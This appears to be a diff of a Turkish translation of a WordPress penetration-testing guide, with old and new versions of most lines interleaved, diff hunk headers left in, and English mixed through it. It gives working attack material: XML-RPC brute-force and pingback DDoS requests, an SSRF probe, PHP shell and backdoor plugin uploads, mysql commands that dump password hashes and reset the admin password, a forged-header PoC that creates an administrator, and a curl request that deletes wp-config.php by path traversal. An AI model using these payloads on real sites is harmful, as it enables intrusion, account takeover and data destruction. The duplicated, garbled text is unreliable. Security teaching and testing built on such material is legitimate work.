Note that this endpoint only exposes users that have made a post. **Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**.
Note that this endpoint only exposes users that have made a post. **Sadece bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır**.
Ayrıca unutmayın ki **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
- **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yapılırken gösterilen **mesaj** kullanıcı adının var olup olmadığına göre **farklıdır**.
- **Login username enumeration**: **`/wp-login.php`**'de giriş yaparken gösterilen **mesaj**, belirtilen **kullanıcı adının var olup olmadığına göre farklıdır**.
### XML-RPC
Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS attacks başlatmak için kullanabilirsiniz. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve şu isteği gönderin:
Aktif olup olmadığını kontrol etmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve şu isteği gönderin:
**Kontrol**
```html
@ -122,7 +122,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`**, credentials'ı brute-force etmek için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulursanız şu şekilde bir istek gönderebilirsiniz:
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
</params>
</methodCall>
```
Kimlik bilgileri geçersizse 200 kodlu bir yanıtta _"Incorrect username or password"_ mesajı görünmelidir.
Kimlik bilgileri geçerli değilse, 200 kodlu bir yanıtta _"Incorrect username or password"_ mesajı görünmelidir.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol şu şekilde görünür ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -174,12 +174,12 @@ Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için **`sys
**Bypass 2FA**
Bu yöntem programlar içindir, insanlar için değil; ayrıca eski olduğu için 2FA'yi desteklemez. Yani geçerli kimlik bilgilerine sahipseniz ama ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmanız mümkün olabilir**. Konsol üzerinden yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, fakat Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) videosunda açıkladığı gibi yine de RCE'ye ulaşmanız mümkün olabilir.
Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kötüye kullanarak o kimlik bilgileriyle 2FA'yı atlayıp giriş yapabilmeniz mümkün olabilir**. Konsoldan yapabildiğiniz tüm işlemleri gerçekleştiremeyebileceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilmeniz mümkün olabilir [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Eğer listede _**pingback.ping**_ metodunu bulabilirseniz, Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.\
Bu, binlerce **Wordpress** sitesinin tek bir hedefe erişmesini sağlamak için kullanılabilir (böylece o hedefte bir **DDoS** oluşur) veya bunu **Wordpress**'in bazı iç ağları taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).
Eğer listede _**pingback.ping**_ yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.\
Bu, binlerce Wordpress **site**nin tek bir **konuma** **erişmesini** istemek için kullanılabilir (böylece o konumda bir **DDoS** oluşur) veya bunu **Wordpress**'in bazı**ağları** **taraması** için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ Bu, binlerce **Wordpress** sitesinin tek bir hedefe erişmesini sağlamak için
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Eğer **faultCode** değeri **0**'dan (17) **büyük**se, bu portun açık olduğu anlamına gelir.
Eğer **faultCode** değeri **0'dan büyük** (17) ise, bu portun açık olduğunu gösterir.
Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenin.
Önceki bölümdeki **`system.multicall`** kullanımına bakın; bu yöntemi kötüye kullanarak nasıl DDoS oluşturulacağını öğrenin.
**DDoS**
```html
@ -209,15 +209,15 @@ Eğer **faultCode** değeri **0**'dan (17) **büyük**se, bu portun açık oldu
### wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\
Bu dosyaya **erişildiğinde** "**yoğun**" MySQL **sorgusu** çalıştırılır, bu yüzden **saldırganlar** tarafından bir **DoS** oluşturmak için kullanılabilir.\
Ayrıca, varsayılan olarak `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafiğe sahip sitelerde sorunlara (DoS) yol açabilir.
Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: **`/wp-cron.php`**\
Bu dosyaya **erişildiğinde** bir "**ağır**" MySQL **query** çalıştırılır; bu yüzden **attackers** bunu kullanarak bir **DoS**'a **sebep** olabilir.\
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafikli sitelerde sorunlara (DoS) yol açabilir.
Wp-Cron'u devre dışı bırakıp, gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun oluşturmayacak şekilde).
Wp-Cron'u devre dışı bırakıp host içinde gerçek bir cronjob oluşturarak gerekli işlemlerin düzenli aralıklarla (sorun çıkarmadan) gerçekleştirilmesi önerilir.
### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
Şu adrese erişmeyi deneyin _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ve Worpress site size bir istek yapabilir.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Bu araç **methodName: pingback.ping** ve yol **/wp-json/oembed/1.0/proxy** olup olmadığını kontrol eder ve mevcutsa bunları istismar etmeye çalışır.
Bu araç **methodName: pingback.ping** olup olmadığını ve **/wp-json/oembed/1.0/proxy** yolunun varlığını kontrol eder; eğer varsa bunları exploit etmeye çalışır.
## Otomatik Araçlar
```bash
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Bir biti üzerine yazarak erişim sağlama
## Bir biti değiştirerek erişim
Gerçek bir saldırıdan çok merak amaçlı bir şeydir. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti çevirebiliyordunuz. Böylece ` /var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti çevirerek NOT (`!`) operasyonunu NOP yapabilirdiniz.
Gerçek bir saldırıdan ziyade bu bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti çevirerek NOT (`!`) işlemini NOP yapabilirdiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Kullanılan temadaki bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)**
**Kullanılan temadan bir php değiştirme (admin credentials needed)**
Appearance → Theme Editor → 404 Template (sağda)
Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
İçeriği bir php shell için değiştirin:
php shell için içeriği değiştirin:
![](<../../images/image (384).png>)
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda buraya erişmelisiniz: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Internette güncellenmiş sayfaya nasıl erişeceğinizi arayın. Bu durumda buraya erişmelisiniz: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -265,95 +265,95 @@ use exploit/unix/webapp/wp_admin_shell_upload
```
oturum elde etmek için.
## Plugin RCE
## Eklenti RCE
### PHP plugin
### PHP eklentisi
Bir plugin olarak .php dosyaları yüklemek mümkün olabilir.\
Örneğin şu şekilde bir php backdoor oluşturun:
.php dosyalarını eklenti olarak yüklemek mümkün olabilir.\
Örneğin PHP backdoor'unuzu şu şekilde oluşturun:
![](<../../images/image (183).png>)
Sonra yeni bir plugin ekleyin:
Sonra yeni bir eklenti ekleyin:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
Eklentiyi yükleyip "Install Now" tuşuna basın:
![](<../../images/image (249).png>)
Click on Procced:
Procced'e tıklayın:
![](<../../images/image (70).png>)
Muhtemelen görünürde bir şey yapmayacaktır, ancak Media'ya giderseniz shell'inizin yüklendiğini göreceksiniz:
Muhtemelen görünürde hiçbir şey olmaz, ama Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz:
![](<../../images/image (462).png>)
Erişin ve reverse shell'i çalıştırmak için URL'i göreceksiniz:
Onu açtığınızda reverse shell'i çalıştırmak için URL'i göreceksiniz:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Kötü amaçlı eklentinin yüklenmesi ve etkinleştirilmesi
Bu yöntem, zafiyeti bilinen ve web shell elde etmek için sömürülebilen kötü amaçlı bir plugin'in kurulmasını içerir. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
Bu yöntem, bilinen bir zafiyete sahip ve web shell elde etmek için istismar edilebilen kötü amaçlı bir eklentinin kurulmasını içerir. Bu süreç WordPress dashboard'ı üzerinden şu şekilde gerçekleştirilir:
1. **Plugin Acquisition**: Plugin, Exploit DB gibi bir kaynaktan şu örnekteki gibi elde edilir: [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress dashboard'a gidin, sonra `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
- İndirilen plugin'in zip dosyasını yükleyin.
3. **Plugin Activation**: Plugin başarılı şekilde yüklendikten sonra dashboard üzerinden etkinleştirilmelidir.
4. **Exploitation**:
- "reflex-gallery" plugin'i yüklendiğinde ve etkinleştirildiğinde, zafiyeti bilindiği için sömürülebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak bir meterpreter oturumu başlatılabilir ve siteye yetkisiz erişim sağlanabilir.
- Bunun, bir WordPress sitesini sömürmek için kullanılan birçok yöntemden sadece biri olduğu belirtilmelidir.
1. **Eklentinin Edinilmesi**: Eklenti, Exploit DB gibi bir kaynaktan edinilir; örneğin [**here**](https://www.exploit-db.com/exploits/36374).
2. **Eklenti Kurulumu**:
- WordPress dashboard'ına gidin, ardından `Dashboard > Plugins > Upload Plugin` yolunu izleyin.
- İndirilen eklentinin zip dosyasını yükleyin.
3. **Eklentinin Etkinleştirilmesi**: Eklenti başarıyla kurulduktan sonra dashboard üzerinden etkinleştirilmelidir.
4. **İstismar**:
- "reflex-gallery" eklentisi yüklü ve etkinleştirilmişse, bilinen bir zafiyet nedeniyle istismar edilebilir.
- Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak, siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
- Bu, WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğuna dikkat edilmelidir.
İçerik, plugin'i yükleme ve etkinleştirme adımlarını gösteren WordPress dashboard'undaki görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz olarak sömürmenin yasalara aykırı ve etik olmadığını belirtmek önemlidir. Bu bilgiler sorumlu bir şekilde ve yalnızca açık izinle gerçekleştirilen penetration testing gibi yasal bağlamlarda kullanılmalıdır.
İçerik, eklentinin kurulması ve etkinleştirilmesine ilişkin adımları gösteren görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz şekilde istismar etmenin yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## XSS'den RCE'ye
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin'inizi (backdoor) WordPress'e yükleyin.
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki varsayılan plugin'leri düzenleyin.
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki varsayılan theme'leri düzenleyin.
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress plugin/theme'leri için özel Exploit'ler.
- _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur.
- _**(RCE) Özel Eklenti (backdoor) Yükleme:**_ Özel eklentinizi (backdoor) WordPress'e yükleyin.
- _**(RCE) Dahili Eklenti Düzenleme:**_ WordPress'teki dahili eklentileri düzenleyin.
- _**(RCE) Dahili Tema Düzenleme:**_ WordPress'teki dahili temaları düzenleyin.
- _**(Özel) Özel Exploitler:**_ Üçüncü taraf WordPress eklentileri/temaları için özel Exploitler.
## Post Exploitation
## İstismar Sonrası
Kullanıcı adlarını ve şifreleri çıkartın:
Kullanıcı adları ve şifreleri çıkarın:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
admin parolasını değiştir:
Admin parolasını değiştir:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
### Attack Surface
### Saldırı Yüzeyi
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkardığını bilmek, eklentinin işlevselliğindeki güvenlik açıklarını bulmak için anahtardır. Bir eklentinin nasıl işlevsellik açabileceğini aşağıdaki madde işaretlerinde görebilir ve bazı savunmasız eklenti örneklerini [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) adresinde bulabilirsiniz.
Bir Wordpress eklentisinin hangi yollarla işlevsellik açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kritiktir. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki maddelerde bulabilirsiniz ve örnek zafiyetli eklentilere dair bazı örnekler [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)'ta mevcuttur.
- **`wp_ajax`**
Bir eklentinin fonksiyonlarını kullanıcılara açmasının yollarından biri AJAX handlers aracılığıdır. Bu handler'lar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların hem authentication hem de authorization'ı WordPress nonce'unun varlığına dayandırması sık görülen bir durumdur; bu nonce'a **Wordpress instance'ında kimlik doğrulaması yapılmış herhangi bir kullanıcı sahip olabilir** (rolünden bağımsız olarak).
Bir eklentinin işlevleri kullanıcılara açığa çıkarmasının yollarından biri AJAX handler'ları aracılığıyladır. Bu handler'lar mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu fonksiyonların hem kimlik doğrulama hem de yetkilendirmeyi genellikle bir wordpress nonce'unun varlığına dayandırması sık rastlanan bir durumdur; bu nonce'a **wordpress örneğinde kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir** (rolünden bağımsız olarak).
Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır:
Bunlar, bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimliği doğrulanmamış olanlar dahil) erişilebilir kılar.**
**`nopriv` kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulaması yapılmamış olanlar dahil) erişilebilir kılar.**
> [!CAUTION]
> Ayrıca, eğer fonksiyon sadece `wp_verify_nonce` fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle sadece kullanıcının giriş yapıp yapmadığını kontrol eder; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle yalnızca kullanıcının giriş yapıp yapmadığını kontrol eder; kullanıcının rolünü genellikle kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
- **REST API**
Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları rest AP kaydederek açığa çıkarmak da mümkündür:
Ayrıca `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları REST API üzerinden erişime açmak da mümkündür:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
`permission_callback` bir API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir geri çağırma fonksiyonudur.
The `permission_callback` bir API yöntemini çağırmaya yetkili olup olmadığını kontrol eden bir geriçağırım (callback) fonksiyonudur.
**Eğer dahili `__return_true` fonksiyonu kullanılırsa, kullanıcı izin kontrollerini tamamen atlayacaktır.**
**Eğer yerleşik `__return_true` fonksiyonu kullanılmışsa, kullanıcı izinleri kontrolünü atlar.**
- **Doğrudan php dosyasına erişim**
- **php dosyasına doğrudan erişim**
Elbette Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden bir eklenti, yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir güvenlik açığı içeren işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu yüzden bir eklenti, dosyaya sadece erişilmesiyle tetiklenen herhangi bir zayıf işlevsellik açığa çıkarıyorsa, bu her kullanıcı tarafından istismar edilebilir.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Bazı eklentiler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve daha sonra bu header'ı REST istekleri için mevcut kullanıcı bağlamını ayarlamak amacıyla kullanır. Eğer header, upstream bir bileşen tarafından isteğe kriptografik olarak bağlanmamışsa, bir saldırgan bunu sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir.
Bazı eklentiler, dahili entegrasyonlar veya reverse proxies için “trusted header” kısa yolları uygular ve daha sonra REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header, upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan bu header'ı sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir.
- Etkisi: core users REST route üzerinden yeni bir yönetici oluşturarak kimlik doğrulama olmadan yönetici ayrıcalıklarına yükselme.
- Örnek header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar; genellikle ilk yönetici hesabıdır.)
- İstismar edilen rota: `POST /wp-json/wp/v2/users` yükseltilmiş bir rol dizisi ile.
- Etki: kimlik doğrulaması olmayan bir saldırganın core users REST rotası üzerinden yeni bir yönetici oluşturarak admin ayrıcalıklarına yükselmesi.
- Örnek header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar, genellikle ilk yönetici hesabı).
- İstismar edilen rota: `POST /wp-json/wp/v2/users` yükseltilmiş bir rol içeren bir array ile.
PoC
```http
@ -391,31 +391,31 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
Neden işe yarıyor
- The plugin maps a client-controlled header to authentication state and skips capability checks.
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
- Eklenti, istemci tarafından kontrol edilen bir HTTP header'ını kimlik doğrulama durumuna eşliyor ve capability kontrollerini atlıyor.
- WordPress core bu route için `create_users` capability'sini bekler; eklenti hack'i bunu header'dan doğrudan mevcut kullanıcı bağlamını ayarlayarak atlıyor.
Expected success indicators
Beklenen başarı göstergeleri
- HTTP 201 with a JSON body describing the created user.
- A new admin user visible in `wp-admin/users.php`.
- HTTP 201 ile oluşturulan kullanıcıyı tanımlayan bir JSON gövdesi.
- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı.
Detection checklist
Tespit kontrol listesi
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
### Yetkilendirilmemiş Rastgele Dosya Silme via wp_ajax_nopriv (Litho Theme <= 3.0)
### wp_ajax_nopriv aracılığıyla Kimliği Doğrulanmamış Keyfi Dosya Silme (Litho Theme <= 3.0)
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'larıığa çıkarır. **_nopriv_** varyantı kullanıldığında **geri çağrı yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ek olarak şunları uygulamalıdır:
WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'larıığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback, kimliği doğrulanmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas işlem ayrıca şu kontrolleri uygulamalıdır:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
1. Bir **capability kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
3. **Sıkı input sanitizasyonu / doğrulama**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
Litho multipurpose tema (< 3.1), *Remove Font Family* özelliğinde bu 3 kontrolü unutmuş ve sonuç olarak aşağıdaki (basitleştirilmiş) kodu göndermiştir:
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -434,37 +434,37 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Bu kod parçasının ortaya çıkardığı sorunlar:
Issues introduced by this snippet:
* **Kimlik doğrulamasız erişim** `wp_ajax_nopriv_` hook kayıtlı.
* **No nonce / capability check** herhangi bir ziyaretçi endpoint'e istek gönderebilir.
* **No path sanitisation** kullanıcı kontrollü `fontfamily` string'i filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik `../../` traversal'a izin veriyor.
* **Kimlik doğrulanmamış erişim** the `wp_ajax_nopriv_` hook is registered.
* **Nonce / capability check yok** herhangi bir ziyaretçi endpoint'e erebilir.
* **Yol sanitisationu yok** kullanıcı kontrollü `fontfamily` stringi filtrelenmeden bir dosya sistemi yoluna birleştiriliyor, klasik `../../` traversal'a izin veriyor.
#### İstismar
Bir saldırgan tek bir HTTP POST isteği göndererek **uploads temel dizininin altındaki** (normalde `<wp-root>/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir:
Bir saldırgan tek bir HTTP POST isteği göndererek **yüklemeler temel dizininin altındaki** (genellikle `<wp-root>/wp-content/uploads/`) herhangi bir dosyayı veya dizini silebilir:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Çünkü `wp-config.php` *uploads*'un dışında bulunduğundan, varsayılan kurulumda dört `../` dizisi yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı*'na sokar ve tam site ele geçirmeye olanak sağlar (saldırgan sadece yeni bir DB yapılandırması sağlar ve bir admin kullanıcı oluşturur).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Diğer etkili hedefler plugin/theme `.php` dosyaları (güvenlik eklentilerini kırmak için) veya `.htaccess` kurallarıdır.
Diğer etkili hedefler arasında plugin/theme `.php` dosyaları (güvenlik plugin'lerini bozmak için) veya `.htaccess` kuralları bulunur.
#### Tespit kontrol listesi
#### Detection checklist
* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()` vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i.
* Path'lere temizlenmemiş kullanıcı girdisinin eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`).
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` yokluğu.
* Dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` callback'i.
* Kullanıcı girdisinin temizlenmeden yollarla birleştirilmesi (bakılacaklar: `$_POST`, `$_GET`, `$_REQUEST`).
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()`'in yokluğu.
---
### Yetki yükseltme: eskimiş rol geri yükleme ve yetkilendirme eksikliği (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Birçok eklenti, orijinal rol(leri) user meta'da saklayıp daha sonra geri yükleyebilmek için "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca istek parametrelerine (örn. `$_REQUEST['reset-for']`) ve eklentinin tuttuğu bir listeye dayanıyor, capability kontrolleri ve geçerli bir nonce doğrulaması yoksa bu dikey yetki yükseltmesine dönüşür.
